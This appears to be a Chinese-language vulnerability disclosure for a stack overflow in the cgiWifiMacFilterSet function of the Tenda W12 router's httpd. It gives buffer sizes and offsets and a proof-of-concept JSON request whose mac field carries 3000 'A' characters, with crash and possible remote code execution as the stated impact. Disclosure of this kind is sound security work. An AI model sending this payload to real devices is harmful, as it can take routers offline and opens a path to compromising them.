# Tenda W12 cgiWifiMacFilterSet函数中存在栈溢出漏洞

## 基础信息

- 厂商：Tenda

- 产品：W12

- 固件版本：V3.0.0.7(4763)

- 固件更新时间：2026-03-04




## 漏洞概述

在Tenda W12 V3.0.0.7(4763)的/bin/httpd二进制的cgiWifiMacFilterSet函数中存在栈溢出漏洞，攻击者可远程发起攻击，通过精心构造的报文触发栈溢出漏洞。



## 详细分析

函数`cgiWifiMacFilterSet`中，解析json报文的过程中存在栈溢出，`WifiMacList`缓冲区大小为512字节，同时距离栈底距离为0x710（1808）字节，当解析过程中`wifiMacFilterSet.macList.mac`字段的长度大于512字节时可溢出到其他字段，超过1808字节时可影响前一个栈帧。

![image-20260426151852321](assets/image-20260426151852321.png)

![image-20260426151911402](assets/image-20260426151911402.png)





poc报文

```
{
  "wifiMacFilterSet": {
    "radio": "2.4G",
    "action": "add",
    "ssidIndex": "0",
    "filterEnable": "1",
    "filterMode": "blacklist",
    "macList": [
      {
        "index": 1,
        "macEn": "1",
        "mac": "AA:BB:CC:DD:EE:FF" + "A" * 3000
      }
    ]
  }
}
```

## 漏洞危害

- 栈溢出（Stack Overflow）
- 可导致：
  - 设备崩溃（DoS）
  - 潜在远程代码执行（RCE）

